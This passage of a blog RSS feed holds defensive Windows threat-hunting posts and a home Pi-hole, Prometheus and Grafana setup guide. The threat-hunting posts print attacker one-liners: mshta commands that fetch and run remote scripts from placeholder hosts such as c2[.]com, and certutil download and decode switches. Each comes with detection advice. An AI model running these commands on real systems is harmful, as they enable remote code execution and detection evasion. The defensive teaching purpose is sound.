simulation</strong></a><strong> </strong>to get a better idea.</p><p><strong>Detection methods:</strong> Monitor changes to files in the System32 folder and any modifications to <em>utilman.exe</em></p><h3>Other Code Execution Alternatives:</h3><h4><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wscript">wscript</a> and <a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cscript">cscript</a></h4><p><em>wscript</em> is the Windows Script Host. It can be used to execute scripts in a variety of languages. <br><em>cscript</em> is a command line tool that can be used to trigger scripts and has a lot of script arguments that can be specified to define how a script will be executed. <br>The difference between cscript and wscript is that cscript is a command line only tool whereas wscript can also provide interactive outputs. They are mainly used by attackers to run malicious Javascript or VBscript as they are built-in legitimate tools and can be evasive if detection methods in the target environment do not account for their usage.</p><h4><a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/">csc.exe</a></h4><p><em>csc</em> is a built-in command line tool that can be used to compile C# code and then execute it as <em>.exe</em> or <em>.dll</em> files. It can be used by attackers to bypass counter-measures put in place that would otherwise not allow code execution. Below are a few sample ways of use.</p><pre><strong>csc -out:code.exe filename.cs</strong> (Compile filename.cs and output to an executable)</pre><pre><strong>csc -target:library filename.cs</strong> (Compile filename.cs and output to a dll file)</pre><h3>Processes that can aid in Recon:</h3><h4><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/whoami">whoami</a></h4><p>The whoami command returns information about the user currently logged in to the system and it’s privileges. Attackers usually use whoami for user discovery and to verify elevated privileges.</p><h4><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo">systeminfo</a></h4><p>The systeminfo command displays a lot of information about the system such as IP address, OS name and version, domain name etc. This can be useful for attackers for information gathering and enumeration to plan lateral movement.</p><h4><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732101(v=ws.11)">csvde</a></h4><p><em>csvde</em> is a command line utility that allows to import and export data from Active Directory Services. This can be a useful tool for information gathering and user and domain discovery.</p><p>There is a plethora of other such legitimate processes that can be used for malicious intents under disguise. Knowing these can help us better identify threats and having a list describing these can prove to be helpful while brushing up on them. Do provide feedback and let me know if any more processes can be added to this list.</p><h4>Thanks for reading! :)</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b45d6fcd4e9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/windows-threat-hunting-processes-of-interest-part-2-b45d6fcd4e9">Windows Threat Hunting : Processes of Interest (Part 2)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Threat Hunting : Processes of Interest]]></title>
            <link>https://infosecwriteups.com/windows-threat-hunting-processes-of-interest-4577fe35d32f?source=rss-7d96a6db7c78------2</link>
            <guid isPermaLink="false">https://medium.com/p/4577fe35d32f</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tech]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Pratinav Chandra]]></dc:creator>
            <pubDate>Sun, 26 Sep 2021 09:58:54 GMT</pubDate>
            <atom:updated>2021-10-20T08:00:07.669Z</atom:updated>
            <content:encoded><![CDATA[<h3>Windows Threat Hunting : Processes of Interest (Part 1)</h3><h4>A list of common Windows processes and how they can be used maliciously by hackers</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*4LMhlkZ4OeF1_eOF7eQ3gA.jpeg" /><figcaption>(Source: <a href="https://www.google.com/url?sa=i&amp;url=https%3A%2F%2Fblogs.vmware.com%2Fsecurity%2F2019%2F05%2Ffour-steps-to-becoming-a-threat-hunter.html&amp;psig=AOvVaw14cMEpGJGedeO4cpHLxflp&amp;ust=1632660632391000&amp;source=images&amp;cd=vfe&amp;ved=0CAsQjRxqFwoTCPj13_6UmvMCFQAAAAAdAAAAABA1">800 × 533</a>)</figcaption></figure><p>Microsoft Windows is the most used operating system in the world, used widely by large organizations as well as individuals for personal use and accounts for more than 60% of the devices. It is also used extensively as a server OS. Owing to it’s extensive use, it is often a target of various exploits and threats. In this write up, we’ll be going over a list of legitimate Windows processes and programs that can be used maliciously by hackers. Knowledge about how these can be used, is important to actively detect malicious activity and defend against attacks that utilize these processes.</p><h4><a href="https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.1"><strong>powershell</strong></a></h4><p>PowerShell is a built-in Windows tool based on the .NET framework. It consists of a command-line interface that is deeply integrated with various Windows services and can also be used to create scripts. PowerShell, being a legitimate Windows tool having scripting capabilities and used frequently for system administration and configuration management tasks, provides a means for hackers to execute malicious payloads disguised as common commands and allows them to blend in with normal network traffic and system activity. PowerShell scripts are widely used as components of many fileless malware. Traditional attacks usually depend on the delivery and execution of executable files for exploitation whereas, fileless malware does not require any additional files and resides in memory. It utilizes in-built, trusted applications such as PowerShell to evade detection. Windows <em>cmd</em> can also be used in a similar way to execute payloads. Below is an example of what an obfuscated malicious Powershell payload looks like. Do visit the article in the image caption that deconstructs and analyzes what this does!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xCDA_mh_G63WoC6xYaLLqA.png" /><figcaption>Source: <a href="https://threatpost.com/powershell-payload-analysis-malware/165188/">https://threatpost.com/powershell-payload-analysis-malware/165188/</a></figcaption></figure><p><strong>Detection Methods: </strong>PowerShell module logging,<strong> </strong>script block logging<strong>, </strong>PowerShell transcription to record and save input and output from cli sessions, monitoring network traffic etc.</p><h4><a href="https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2019"><strong>msbuild</strong></a></h4><p><em>msbuild</em> is a tool used to build applications and can build products without the need for Visual Studio to be installed on the system. It provides an XML schema for a project file that controls how the files will be compiled, it then builds software based on these specifications and executes it in memory. This ability of msbuild, to execute code in memory, just like PowerShell, makes it a useful component in fileless attacks, making it’s detection difficult and is often missed by major anti-malware engines. In the wild, msbuild has been seen to be used in the deployment of Remote Access Trojans such as Remcos RAT, RedLine Stealer etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZXCmaktaRGWajRoOsv3Mig.png" /><figcaption>Attack Flow [Source: Anamoli Threat Research]</figcaption></figure><p><strong>Detection Methods: </strong>Process monitoring to monitor the execution and arguments of <em>msbuild.exe</em></p><h4><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil">certutil</a></h4><p><em>certutil</em> is an in-built Windows command line tool that is used for managing and configuring certificate services and components and also for dumping information related to them. Cyber defense teams are becoming more aware of the misuse of tools like PowerShell, due to which more and more threat actors are seen to be resorting to alternatives to further avoid detection. One such alternative to PowerShell is certutil. Owing to its extensive command line functionality, it can be used to download files from URLs and even for hex and base64 encoding and decoding operations. This functionality can be abused by hackers to download malicious files and encode and decode malware, disguised as a legitimate program. Below are a few built in certutil options that can be used for malicious activity.</p><pre><strong>certutil -urlcache -f <em>&lt;url&gt; </em></strong><em>(File download)<br></em><strong>certutil -encode</strong> (<em>base64 encoding)</em><br><strong>certutil -decode</strong><em> (base64 decoding)<br></em><strong>certutil -decodehex</strong> (<em>hex decoding)</em></pre><p><strong>Detection Methods: </strong>Process logging and monitoring usage of decode/encode and urlcache arguments.</p><h4><a href="https://docs.microsoft.com/en-us/previous-versions/ms536496(v=vs.85)">mshta</a></h4><p><em>mshta</em> is an in-built Windows utility that executes Microsoft HTML Application (HTA) files. HTAs are standalone applications that execute using the same underlying technologies as Internet Explorer, but are capable of running outside the browser. This function of <em>mshta</em>, makes it a popular choice of adversaries as it can be used to trigger malicious scripts disguised as .<em>hta</em> files and for stealthy code execution as scanners and detections in place might be unware of it’s potential use and not monitoring it’s activity. Also, since <em>mshta</em> is capable of running outside the browser it can also bypass any browser security restrictions that might be put in place. It can be used in a variety of ways by executing remote files, inline JavaScript or Vbscript etc. There are several examples of different types of threats leveraging <em>mshta</em> for executing malicious code. Below are a few example usage methods highlighted by McAfee Labs and MITRE ATT&amp;CK.</p><pre>Remote file execution -</pre><pre><strong><em>mshta http[:]//maliciouswebsite.com/legit.hta</em></strong></pre><pre><strong><em>mshta vbscript:Close(Execute(&quot;GetObject(&quot;&quot;script:https[:]//webserver/payload[.]sct&quot;&quot;)&quot;))</em></strong></pre><pre>Inline script execution -</pre><pre><strong><em>mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close)</em></strong></pre><pre><strong><em>mshta javascript:a=GetObject(“script:http://c2[.]com/cmd.sct”).Exec()</em></strong></pre><p><strong>Detection Methods: </strong>Monitoring<strong> </strong>suspicious process ancestry, processes and process metadata, inline script executions, renamed <em>mshta.exe</em> instances, execution of <em>.hta</em> files etc.</p><p>We will continue this list and discuss a few more processes and some alternatives that are utilized by attackers to evade detection in <a href="https://inf0spec.medium.com/windows-threat-hunting-processes-of-interest-part-2-b45d6fcd4e9"><strong><em>Part 2</em></strong></a>!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4577fe35d32f" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/windows-threat-hunting-processes-of-interest-4577fe35d32f">Windows Threat Hunting : Processes of Interest</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Convert Your Old Laptop Into a Security Monitoring & URL Filtering Server (Part 3)]]></title>
            <link>https://inf0spec.medium.com/convert-your-old-laptop-into-a-security-monitoring-url-filtering-server-part-3-c8d566762067?source=rss-7d96a6db7c78------2</link>
            <guid isPermaLink="false">https://medium.com/p/c8d566762067</guid>
            <category><![CDATA[virtualization]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[tech]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Pratinav Chandra]]></dc:creator>
            <pubDate>Thu, 23 Sep 2021 12:10:57 GMT</pubDate>
            <atom:updated>2021-09-23T12:29:34.426Z</atom:updated>
            <content:encoded><![CDATA[<h4>Setting up Grafana &amp; Enhancements</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*j73g7N1U8tTLkspy" /><figcaption>Photo by <a href="https://unsplash.com/@lukechesser?utm_source=medium&amp;utm_medium=referral">Luke Chesser</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>In <a href="https://medium.com/@inf0spec/convert-your-old-laptop-into-a-security-monitoring-url-filtering-server-part-2-b7e0feefd0a5"><strong>Part 2</strong></a>, we successfully configured Pi-hole and Prometheus and also setup our exporter to feed metrics to Prometheus. In this final part, we’ll get our dashboard ready and talk about some enhancements as well as some disadvantages of Pi-hole and how to further harden security.</p><h3>Grafana — Installation &amp; setup</h3><p>Now that we have our Pi-hole metrics being scraped by Prometheus, we can install and setup Grafana and add Prometheus as our data source to build dashboards.</p><p>To install grafana, get the download link for the latest version Linux binaries from <a href="https://grafana.com/grafana/download?pg=get&amp;plcmt=selfmanaged-box1-cta1">here</a>.</p><pre>Download and extract the tar files -<strong><em><br>wget </em></strong><a href="https://dl.grafana.com/enterprise/release/grafana-enterprise-8.1.5.linux-amd64.tar.gz"><strong><em>https://dl.grafana.com/enterprise/release/grafana-enterprise-8.1.5.linux-amd64.tar.gz</em></strong></a></pre><pre><strong><em>tar xvzf grafana-enterprise-8.1.5.linux-amd64.tar.gz<br>mv </em>grafana-8.1.5<em> grafana </em></strong>(rename folder)</pre><pre>Run as background process -<br><strong><em>cd grafana/bin<br>./grafana-server &gt; /dev/null 2&gt;&amp;1 &amp;</em></strong></pre><p>By default, grafana web console runs on port 3000 (To change to another port if required, you can edit the value of the <strong><em>http_port</em></strong> parameter located in the <strong><em>grafana/conf/defaults.ini</em></strong> file)</p><p>Go to the Grafana web interface <em>http://&lt;VM-IP&gt;:3000/</em><strong><em> </em></strong>and login using the default credentials admin/admin. Change to a new password when prompted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*40VLxToalFMK5c6ABrG94Q.png" /><figcaption>Grafana home</figcaption></figure><p>We now have Grafana up and running. Next, let’s add Prometheus as a data source. Click on the settings icon on the left and go to <strong><em>data sources. </em></strong>Click on Add data source and select Prometheus.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_0Y4e6SMMacQHjJ1TBDtpg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xk5XK7SlL0hCntrCTAKYDw.png" /></figure><p>Since Grafana and Prometheus are installed on the same server, in the URL column, enter <em>http://localhost:9090</em><strong><em> </em></strong>and leave the rest of the settings as default. Hit save &amp; test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XjK1dFJlBntMU6WA6vxS0g.png" /><figcaption>Add Prometheus as data source</figcaption></figure><p>Grafana has an option to import pre-built dashboards which we can use with our metrics. Pi-hole exporter has a custom Grafana dashboard which we can utilize to quickly set up a dashboard. The dashboard can be found <a href="https://grafana.com/grafana/dashboards/10176">here</a>. Click the + icon on the left and go to Import. We will use the dashboard ID to import it to our Grafana instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2KTn2t4WuQbcZMUXDzW1wA.png" /><figcaption>Import dashboard</figcaption></figure><p>After importing the dashboard, we can now see all our Pi-hole exporter metrics being plotted on our dashboard which we can use for realtime as well as historical monitoring.</p><p>In case you encounter the below error related to the piechart panels, hit the arrow next to the panel title and select the Pie chart plugin from the top right corner and save and apply the changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*_q1N_mRk3wrXH9axJwWuyw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zV7xAl3UxB8c9TEl0oTb7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UX4w5AgJYG0i5xsZoz4BIA.png" /></figure><p>We now have a dashboard to monitor all our outbound web traffic going through Pi-hole!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kAAnLb5Gbp4PP2PqgBKiAg.png" /><figcaption>Pi-Hole Dashboard</figcaption></figure><p>You can further explore Grafana and learn to build dashboards from scratch by writing your own queries to represent this data as per your requirements.</p><h3>Enhancements</h3><h4>Setting up a script to start services at boot</h4><p>Pi-hole is by default, already setup to be started automatically on startup.<br>However, to automatically start our Pi-hole exporter, Prometheus and Grafana services, in case of an unexpected reboot or downtime of our servers, we can add a cron job to be executed on startup.</p><p>Create a simple script to run the services in the background —</p><p><strong><em>Grafana &amp; Prometheus</em></strong></p><pre><strong>On the Monitoring VM -</strong></pre><pre><strong>startsvcs.sh</strong></pre><pre>cd prometheus<br>./prometheus &gt; /dev/null 2&gt;&amp;1 &amp;<br>cd<br>cd grafana/bin<br>./grafana-server &gt; /dev/null 2&gt;&amp;1 &amp;</pre><pre><strong><em>crontab -e</em></strong></pre><pre>Add below to the file-<br>@reboot ./startsvcs.sh</pre><p><strong><em>Pi-hole exporter</em></strong></p><pre><strong>On the Pi-hole VM -</strong></pre><pre><strong>startsvcs.sh</strong></pre><pre>cd pihole-exporter<br>./pihole_exporter -pihole_password *password* &gt; /dev/null 2&gt;&amp;1 &amp;</pre><pre><strong><em>crontab -e</em></strong></pre><pre>Add below to the file-<br>@reboot ./startsvcs.sh</pre><p>To run a quick check if the services are running on the ports—</p><pre><strong><em>lsof -i | grep LISTEN | grep -e 9090 -e 3000</em></strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VhBD0xCv-JX1CJEzfLEDZg.png" /></figure><h3>Final Thoughts</h3><p>As with most security products, there are disadvantages associated with Pi-hole as well. For instance, if an endpoint on your network, hardcodes it’s DNS settings and ignores the config sent by DHCP, the DNS resolution won’t happen through Pi-hole and it will be bypassed completely. This is not a problem in case of most end user devices for home use such as smartphones and laptops which we primarily use to browse the internet, as they will be in our control and we can always point to Pi-hole to secure our devices. This limitation of Pi-hole, can be fixed by using an additional firewall on our network to force all traffic to go through Pi-hole. It is always a good idea to implement layers of security, by using different products in combination with each other to address loopholes. You can find an excellent write up <a href="https://labzilla.io/blog/force-dns-pihole"><strong><em>here</em></strong></a>, that talks about these limitations and how to fix them by using a firewall along with Pi-hole on your network.</p><h4>Documentation</h4><p><a href="https://docs.pi-hole.net/"><strong><em>Pi-hole</em></strong></a><br><a href="https://grafana.com/docs/"><strong><em>Grafana</em></strong></a><strong><em><br></em></strong><a href="https://prometheus.io/docs/introduction/overview/"><strong><em>Prometheus</em></strong></a></p><p>I have left room to explore each tool in depth and just gone over the basic configurations to get everything up and running, the best way to learn and further enhance your setup is by getting your hands dirty!</p><p>I hope this was interesting and easy to understand! Please feel free to reach out to me in case of any questions or to provide any feedback.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c8d566762067" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Convert Your Old Laptop Into a Security Monitoring & URL Filtering Server (Part 2)]]></title>
            <link>https://inf0spec.medium.com/convert-your-old-laptop-into-a-security-monitoring-url-filtering-server-part-2-b7e0feefd0a5?source=rss-7d96a6db7c78------2</link>
            <guid isPermaLink="false">https://medium.com/p/b7e0feefd0a5</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[virtualization]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[tech]]></category>
            <dc:creator><![CDATA[Pratinav Chandra]]></dc:creator>
            <pubDate>Thu, 23 Sep 2021 12:08:04 GMT</pubDate>
            <atom:updated>2021-09-23T12:28:16.834Z</atom:updated>
            <content:encoded><![CDATA[<h4>Pi-hole &amp; Prometheus Configuration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gi9dCMV8f4VTBcgg" /><figcaption>Photo by <a href="https://unsplash.com/@markusspiske?utm_source=medium&amp;utm_medium=referral">Markus Spiske</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>In <a href="https://medium.com/@inf0spec/convert-your-old-laptop-into-a-security-monitoring-url-filtering-server-part-1-42d69c46a25d"><strong>Part 1</strong></a>, we discussed about the basic design and setup our VMs. At this point, you should have 2 virtual machines running the latest version of Ubuntu with static IP addresses accessible via SSH on your home network.</p><p>Let’s start by installing Pi-hole on our first VM.</p><h3>Installing &amp; configuring Pi-hole</h3><p>SSH to the first VM and run the below command to start up the Pi-hole installer and let it run -</p><pre>curl -sSL https://install.pi-hole.net | bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YQeQ2MfANloNINEQi9AGbw.png" /><figcaption>Pi-hole installer screen</figcaption></figure><p>Select the default domain list for now, we will be adding more lists later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zfSbcN7OIsRqs603Zv26oQ.png" /><figcaption>Default domain list</figcaption></figure><p>Select recommended options and continue, select show everything to log all queries on your network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*0THsGcoPEoLyiMwTMMdcJg.png" /><figcaption>Privacy mode</figcaption></figure><p>Once the installation is complete, check if Pi-hole is running using command <strong><em>pihole status. </em></strong>If everything looks good and the DNS service is listening, the VM IP can now be added to the DHCP config as your primary DNS to be pushed out to the devices on your home network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*RPyaENs8_0W2Etui3bdUxQ.png" /><figcaption>Health Check</figcaption></figure><p>Run <strong><em>pihole -a -p</em></strong> to set a new password for the web interface. Logon to the web interface using <em>http://&lt;IP&gt;/admin</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kabEPKtqvspZccSyuPCJew.png" /><figcaption>Admin portal</figcaption></figure><p>Pihole is up and running with the default ad blocking domain list at this point. Go ahead and login using the password we set earlier and navigate to <strong>Group Management &gt; Adlists. </strong>This is where we will be adding our domain lists for URL filtering.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t-v_-DxZ2QUnuTOcq_AkDg.png" /><figcaption>Domain lists</figcaption></figure><p>The default list that comes with Pi-hole is <a href="https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts">here</a>. As you can notice, all the ad related domains have been assigned 0.0.0.0 as the IP address in the list and won’t reach the internet. The IP returned for blocked URLs depends on the list under which it is blocked. Now, we’ll add more lists to utilize the full potential of Pi-hole and block malicious URLs. A great resource to get block lists is <a href="https://firebog.net/"><strong>firebog</strong></a>.</p><p>Let’s go ahead and add <a href="https://raw.githubusercontent.com/DandelionSprout/adfilt/master/Alternate%20versions%20Anti-Malware%20List/AntiMalwareHosts.txt"><strong><em>this</em></strong></a> list here to blacklist more domains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hc1DOotgjX2km0rKCRbRyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0_MoYVQYlZD9_jtcp8vg5w.png" /><figcaption>Adding blocklist</figcaption></figure><p>Paste the list URL and hit add, then navigate to <em>http://&lt;IP&gt;/admin/gravity.php</em><strong><em> </em></strong>and hit update</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s8E63Tkls9Px_Xt7slFZbA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fV2abuaU-KZR_lYicB4Hcw.png" /><figcaption>Update gravity</figcaption></figure><p>Notice on the Dashboard that the Domains on Blocklist have increased.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MP07LYv6vPIxDcdNmFQHQw.png" /></figure><p>The more domains and blocklists we add, higher will be the chances of encountering false positives and unintended domains getting blocked on our network. Refer to <a href="https://discourse.pi-hole.net/t/commonly-whitelisted-domains/212"><strong><em>this</em></strong></a> list of commonly whitelisted domains on the Pi-hole forum for some common web services, to avoid false positives if you use any of them.</p><pre>To whitelist a domain — <strong><em>pihole -w &lt;domain&gt;<br></em></strong>To blacklist a domain<strong><em> - pihole -b &lt;domain&gt;</em></strong></pre><p>All queries are logged and can be checked from the <strong>Query Log</strong> section on the Pi-hole admin console.</p><p>Local DNS entries for the home network can also be added from the <strong>Local DNS </strong>section.</p><p>You can explore Pi-hole and tweak settings as per your requirements. We will now proceed to install and set up our monitoring tools.</p><p>Before proceeding to setup Prometheus, we need to install an <em>exporter</em> for Pi-hole, to send metrics to our Prometheus instance.</p><p>A Prometheus Exporter extracts data from another non-Prometheus system and converts that data into Prometheus metrics and starts a web server on a port on that server with a <em>/metrics</em> URL, and this URL displays the exported system metrics. There is a custom exporter available for Pi-hole and we will be installing that on our Pi-hole VM to send statistics to Prometheus. <a href="https://github.com/eko/pihole-exporter">Pi-hole exporter</a> requires <em>Golang</em> to run.</p><pre>First let’s install go by running — <br><strong><em>sudo apt install golang-go</em></strong></pre><pre>Once go has been installed,<strong><em> </em></strong>run -<strong><em><br>go get -u github.com/eko/pihole-exporter</em></strong></pre><pre>Navigate to pihole-exporter and build the tool -<br><strong><em>cd pihole-exporter/</em></strong><br><strong><em>go build -o pihole_exporter</em></strong></pre><pre>Run pihole_exporter as a background process -<br><strong><em>./pihole_exporter -pihole_password *password* &gt; /dev/null 2&gt;&amp;1 &amp;</em></strong></pre><p>You can go to <em>http://&lt;PiholeVM-IP&gt;:9617/metrics</em> to view that the metrics are being collected successfully.(By default, the port used is 9617, this can be changed if needed in the <strong><em>config/configuration.go</em></strong> file)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l8TR13JEdDpcXHHpQyjCow.png" /><figcaption>Metrics</figcaption></figure><h3>Prometheus — Installation &amp; setup</h3><p>SSH to the second VM we created for our monitoring tools in Part 1.<br>To install Prometheus, head over to <a href="https://prometheus.io/download/">https://prometheus.io/download/</a> and grab the link for the latest Linux release.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2AM_p10hQkUR3PG8aTNXzA.png" /></figure><pre>Download the tar file using the link— <strong><em>wget </em></strong><a href="https://github.com/prometheus/prometheus/releases/download/v2.30.0/prometheus-2.30.0.linux-amd64.tar.gz"><strong><em>link</em></strong></a></pre><pre>Extract the downloaded tar.gz file-<br><strong><em>tar xvzf prometheus-2.30.0.linux-amd64.tar.gz<br>mv prometheus-2.30.0.linux-amd64 prometheus </em></strong>(rename folder)</pre><pre>We will now add our Pi-hole exporter as a target on Prometheus to collect metrics. Navigate to the <strong><em>prometheus.yml </em></strong>file, and in the scrape_configs section, add the Pi-hole VM IP with port 9617 in the targets-<br><strong><em>targets: [“localhost:9090”,”&lt;Pi-hole IP&gt;:9617&quot;]</em></strong></pre><pre>Navigate to the extracted folder and run prometheus as a background process -<br><strong><em>cd prometheus/<br>./prometheus &gt; /dev/null 2&gt;&amp;1 &amp;</em></strong></pre><pre>Check running jobs - <br><strong><em>jobs -l</em></strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-wERDCrJDFlt1mZhN_pjJg.png" /><figcaption>Prometheus running in background</figcaption></figure><p>Prometheus should now be up and running. By default, Prometheus web console runs on port 9090. To change to a different port,</p><pre><strong><em>./prometheus --web.listen-address=”:8080&quot; &gt; /dev/null 2&gt;&amp;1 &amp;</em></strong></pre><p>Head over to <em>http://&lt;VM-IP&gt;:9090/targets</em><strong><em>, </em></strong>there should be two targets, both with state as up.</p><p>We will conclude our setup in <a href="https://medium.com/@inf0spec/convert-your-old-laptop-into-a-security-monitoring-url-filtering-server-part-3-c8d566762067"><strong>Part 3</strong></a>, where we’ll be installing Grafana and talk about some enhancements and final thoughts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b7e0feefd0a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Convert Your Old Laptop Into a Security Monitoring & URL Filtering Server (Part 1)]]></title>
            <link>https://inf0spec.medium.com/convert-your-old-laptop-into-a-security-monitoring-url-filtering-server-part-1-42d69c46a25d?source=rss-7d96a6db7c78------2</link>
            <guid isPermaLink="false">https://medium.com/p/42d69c46a25d</guid>
            <category><![CDATA[tech]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[virtualization]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Pratinav Chandra]]></dc:creator>
            <pubDate>Thu, 23 Sep 2021 12:04:41 GMT</pubDate>
            <atom:updated>2021-09-23T12:09:02.054Z</atom:updated>
            <content:encoded><![CDATA[<h4>Tool discussion and initial setup</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yVBNNATVSnxXj0WP" /><figcaption>Photo by <a href="https://unsplash.com/@tvick?utm_source=medium&amp;utm_medium=referral">Taylor Vick</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Do you have an old laptop lying around that is no longer being used but still works? Don’t let its remaining computing power go to waste! In this write up, we’ll talk about how you can host virtual machines on your old laptop using the hypervisor of your choice to run Pi-hole, Grafana and Prometheus to implement URL filtering and block malicious URLs to secure your home network and build a pretty dashboard to monitor your outbound web traffic!</p><p>Let’s get started by first going over what each tool does and then dive straight into the configurations and setup required.</p><h4>Pi-hole</h4><p>Pi-hole was initially developed as an ad-blocker that protects your network from ads and trackers. As you might have already figured out from the name, the tool was initially targeted towards Raspberry Pi. Pi-hole basically replaces your DNS server, it inspects each query and checks it against a list of domains and answers with a valid IP address only if the domain is permitted. It forwards external requests to the configured public DNS server of your choice. The functionality of Pi-hole is not limited to ad blocking, thanks to our amazing InfoSec community, there are multiple URL lists available for different purposes that are regularly updated and can be used with Pi-hole to detect and block malicious URLs of various categories. In addition to the URL filtering capabilities, we can also use Pi-hole for custom local DNS entries for use within our home network!</p><h4>Grafana</h4><p>Grafana is an open-source visualization and analytics tool that gets data from various supported data sources and can be used to build dashboards with interactive charts, graphs etc.</p><h4>Prometheus</h4><p>Prometheus is an open-source tool developed by SoundCloud for system monitoring and alerting<strong>. </strong>It collects and stores metrics as time-series data. Metrics are stored with the timestamp along with key-value pairs called labels. For our use case, we will be using Prometheus as a data source, to feed metrics and live data from Pi-hole into Grafana in order to build monitoring dashboards.</p><h3>Overview</h3><p>Now that we have discussed about the tools and their purpose, we’ll look at a simple design of how things will be set up.</p><h4>Home Network Setup</h4><p>We will be running a hypervisor such as VirtualBox, VMware Fusion etc. on our old laptop and hosting virtual machines on it. The virtual machines will run our tools and will be accessible on our home network. The virtual machines can be assigned static IPs or DHCP reservation can be set for them on the router level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QxDZf6xwc_jxBZsykEFMBg.png" /><figcaption>Basic Setup</figcaption></figure><p>On the home router, we’ll be using the IP of our VM that hosts Pi-hole as our default DNS server to be pushed out to the devices on our network using DHCP. DHCP settings vary for different router vendors, below is a sample config. The pool is the address range that will be assigned to the user devices and our primary DNS will be our Pi-hole VM’s IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3pAoEVzMrbzAv1LcrSe3gw.png" /><figcaption>Sample DHCP config on a router</figcaption></figure><h4>Tool Setup</h4><p>We will be running two virtual machines inside a hypervisor, I’ll be using VirtualBox for this setup. One VM will run Pi-hole and listen for DNS queries and the other VM 